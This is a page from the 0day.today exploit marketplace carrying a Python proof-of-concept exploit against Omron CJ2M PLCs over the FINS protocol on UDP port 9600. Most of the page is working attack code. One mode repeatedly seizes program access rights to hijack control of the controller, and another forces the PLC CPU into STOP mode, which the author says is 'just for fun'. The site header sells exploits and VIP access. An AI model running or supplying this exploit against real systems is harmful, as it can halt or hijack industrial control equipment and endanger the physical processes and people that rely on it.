0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Omron PLC 1.0.0 - Denial of Service Exploit
[# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC)
# Exploit Author: n0b0dy
# Vendor Homepage: https://automation.omron.com, ia.omron.com
# Software Link: n/a
# Version: 1.0.0
# Tested on: PLC f/w rev.: CJ2M (v2.01)
# CWE-412 : Unrestricted Externally Accessible Lock
# CVE : n/a
#!usr/bin/python
######################################################################################################
# #
# `-:+oyhdmmNNNNNNNNmdhyso/:. #
# -/shmNmhyo+/:-..`````..--:/oshdNNdyo:. #
# `:ohNmho/-` .:+ydNmy+. #
# .+hNms/. `:ohNms:` #
# .+dNh+. `/ymNy: #
# :yNd+. `/yNmo. #
# `/dNy-` .+mNy- #
# +mmo. `/dNy- #
# :dNo` ``........--.......``` `/dNs. #
# .yNy. .- ``....```....``..``....```...`` `-` `+Nm/ #
# /mm: ./ymy. `...`` `..` `` .` `` `..` `...` +mho:` .yMh. #
# `sNy. `.`/hNMNo` `..` `.` .` .` `` `.. `...` -dMNmo... `+Nm: #
# `yNo` -yy-sMMMh- ......```.` .` .` `` .-...`` `..` `+NMMm:+h+` :mN/ #
# `hN/ +Nm.sMMh/: `.. `.....```..` `//+yy+.``.``...`..` `.. ./oNMm-oMh. -dN+ #
# `hN+ `/MMo:Nh:/h- `..` .. `..```oMy.:NMd```. .. `.` ys:omh.NMh` .mM/ #
# yM+ `o-hMN.:+sdm/ `-. .. .` ./-./NNo .` .. `.` .hmy+/`sMM-o- -mN: #
# +My .dd`mMy/hNmo. `-````` `. `- :ho. `. .. ````.. `/hNmo/NM//N/ :Mm` #
# .mm. sMd`mMmNd+/` `-` ``..-.``` .. +. .` ``.-...`` .. :/yNNNM/:MN` sMs #
# yM+ `mMm`mMm+-ss `-` ..```.....-....```-o+.```...-.....```.-` .` -h/:yMM/+MM/ .mN- #
# .Nm` `NMN`yo/yNd. .. -` `-```````yNm-```````. `-` `. oNd++h:sMM+ oMy #
# +Mo `.NMM.:hNMd. `-` `. .- `:- `- .. .` `oNMmo`yMM+. .NN` #
# hN- y:hMMoNMmo. .. .` .. .` - `- `. /hMMydMM-h. dM/ #
# .mm`-No-NMMMy-o: .. .` .. .://-` ` -` `-` - y-+mMMMy.Ns sMs #
# :Nd :Mm.oMMo.sN. ..`````````-`````````..`./s` :smds: :s:``-`````````-.`````````-` ym--NMm.sMh +Mh #
# +Mh -NMy`hd-hMd` ..`````````-```````.-/+smMy -my` `dNho/.````````-``````````- /Mm/+N:-NMs /Mh #
# /Nh hMM/-/hMM/ .. .` `+yhdmmNMMMM. .so` yMMMNmhyso+/.`-` `- `mMN/+.dMM- /Mh #
# -Nd` -NMm-+MMh. `. .` oMMMMMMMMMMN` `hy yMMMMMMMMMMMd.- `. `/MMd`yMMy oMy #
# `mN.`.oNMhyMN-o/ -` `.`mMMMMMMMMMMM- -NN. `dMMMMMMMMMMMM/. .` `y`hMNoMMh.- yMo #
# yM:.h./mMMMs dm` `. .+MMMMMMMMMMMMo /MM/ :NMMMMMMMMMMMMs` `. oN--NMMNy.+o`mM- #
# /My`dd/-yNM:.NM+ .. ``.hMMMMMMMMMMMMN- oMMo `hMMMMMMMMMMMMMh.` `.` `mMo`dMm/-yN/:Mm` #
# `mN./MMh-/d/+MMs .` ``````.NMMMMMMMMMMMMMm- sMMs oMMMMMMMMMMMMMMm.````` `.` -NMd`ds-omMh`hMo #
# +Ms oNMNo--sMMh`- ..` oMMMMMMMMMMMMMMMm:yMMhoMMMMMMMMMMMMMMMN- `..` `-:MMN.:/dMMd.:Nm. #
# `hN: /NMMm/+MMm`h+ .. mMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMo `.` -h-oMMd-yMMMy.`dM/ #
# -Nm. +yNMMdNMN-/Ms` `.` -MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .. :mh`hMMdNMNdo- sMy #
# /Nh`:y+odNMMMo`mMy ..`/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm``.` :NM/.NMMMmy+os`oMd. #
# +Mh`+Nh//odNm`oMM+ `.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN.` .mMN`oNmy+/smh`+Mm. #
# +Nh./mMNho++-.mMN/-/` hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- `-:.dMMo`+++ymMNs.oNd- #
# /Nd-.omMMMmy+/dMN//ds-hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM//hy-dMNs:sdMMMNh:`sMh. #
# -dN+``/ymNMMNdmMMo/mNdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMs:mMNdmMMNmh+. -dMs` #
# `yNy. /o+/oyhmmNNy:hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm//mNNmdys+/+o.`oNm/ #
# :mNo`:dmdyo////+:./yNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdo--+//:/+shmmo.:dNy. #
# `+mm+.:smNMMMMMMMMNNNNmmMMMMMMMMMMMMMMMMMMMMMMMMMMNhmNNNNMMMMMMMMMNh+.:hNh- #
# `oNmo.`.+ooooo+//:--:yMMMMMMMMMMMMMMMMMMMMMMMMMMmo/--::/++ooooo:``/hNd: #
# `+mNs:.+yso++oshmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdys+++oys:.odNh: #
# :yNdo-/sdNNMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdmNNMMNNmy+:/hNmo. #
# `+hNds:``...`/MMMMMMMMMMMMMMMMMMMMMMMMMMMM: `....`-ohNms: #
# `/ymNds/.`sMMMMMMMMMMMMMMMMMMMMMMMMMMMM+ `:ohNNdo- #
# ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:` #
# `-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:. #
# `.://+osyyyyyyso+/:-. #
# #
# #
# Exploit Title: Omron PLC: Denial-of-Service as a Feature #
# Google Dork: n/a #
# Date: 2019.12.06 #
# Exploit Author: n0b0dy #
# Vendor Homepage: https://automation.omron.com, ia.omron.com #
# Software Link: n/a #
# Version: 1.0.0 #
# Tested on: PLC f/w rev.: CJ2M (v2.01) #
# CWE-412 : Unrestricted Externally Accessible Lock #
# CVE : n/a #
# #
#######################################################################################################
import sys, signal, socket, time, binascii
nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname'
if len(sys.argv) < 2:
print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}"
print "--pwn Hijack control of PLC program."
print "--stop Stop PLC CPU."
else:
ip = sys.argv[2]
try:
port = sys.argv[3]
except:
port = 9600
def ip_validate(ip):
a = ip.split('.')
if len(a) != 4:
return False
for x in a:
if not x.isdigit():
return False
i = int(x)
if i < 0 or i > 255:
return False
return True
#fins header
icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req
rsv = '\x00' #reserved
gct = '\x02' #gateway count
dna = '\x00' #dest net addr
idnn = ip[-1:] #dest node no (last digit of target ip)
dnn_i = '0' + idnn
dnn = binascii.a2b_hex(dnn_i)
dua = '\x00' #dest unit addr
sna = '\x00' #source net addr
isnn = nic[-1:] #source node no (last digit of own ip)
snn_i = '0' + isnn
snn = binascii.a2b_hex(snn_i)
sua = '\x00' #source unit addr
sid = '\x7a' #service ID
fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid
#FINS command acceptance code
fins_ok = '\x00'
#Verify PLC type
CmdMRst1 = binascii.a2b_hex("05")
CmdSRst1 = binascii.a2b_hex("01")
Cmdst1 =\
fins_hdr + CmdMRst1 + CmdSRst1 + '\x00'
print "Probing PLC... " + '\t'
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s1.sendto(Cmdst1, (ip, port))
print "Finished." + '\r\n'
s1fins_resp = s1.recvfrom(1024)
s1fins_resp_b = bytes(s1fins_resp[0])
if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok:
print "FINS target is exploitable: "
print s1fins_resp_b[14:39]
else:
print "FINS target not exploitable."
print "FINS response from target: ", s1fins_resp
if sys.argv[1] == "--pwn":
#access right forced acquire
PgmNo = '\xff'
CmdMRst2 = binascii.a2b_hex("0c")
CmdSRst2 = binascii.a2b_hex("02")
Cmdst2 =\
fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo
reqdly = 1
persist = 1
pwnage = 0
print "Obtaining control of PLC program..." + '\r\n'
while persist == 1:
try:
s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
time.sleep(reqdly)
s2.sendto(Cmdst2, (ip, port))
s2fins_resp = s2.recvfrom(1024)
s2fins_resp_b = bytes(s2fins_resp[0])
if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok:
pwnage += 1
pwntime = str(pwnage)
sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.")
sys.stdout.flush()
else:
print "Attack unsuccessful. ", '\r\n'
print "FINS error code: ", s2fins_resp
except socket.error as e:
print socket.error
s2.close()
except KeyboardInterrupt:
persist = 0
print '\r', " Attack interrupted by user."
s2.close()
elif sys.argv[1] == "--stop":
#change OP Mode
CmdMRst3 = binascii.a2b_hex("04")
CmdSRst3 = binascii.a2b_hex("02")
Cmdst3 =\
fins_hdr + CmdMRst3 + CmdSRst3
print "Stopping PLC (just for fun)... " + '\t'
s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s3.sendto(Cmdst3, (ip, port))
print "Finished. "
s3fins_resp = s3.recvfrom(1024)
s3fins_resp_b = bytes(s3fins_resp[0])
if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok:
print "PLC CPU STOP mode confirmed. "
else:
print "Attack unsuccessful. ", '\r\n'
print "FINS response from target: ", s3fins_resp
# 0day.today [2024-12-24] #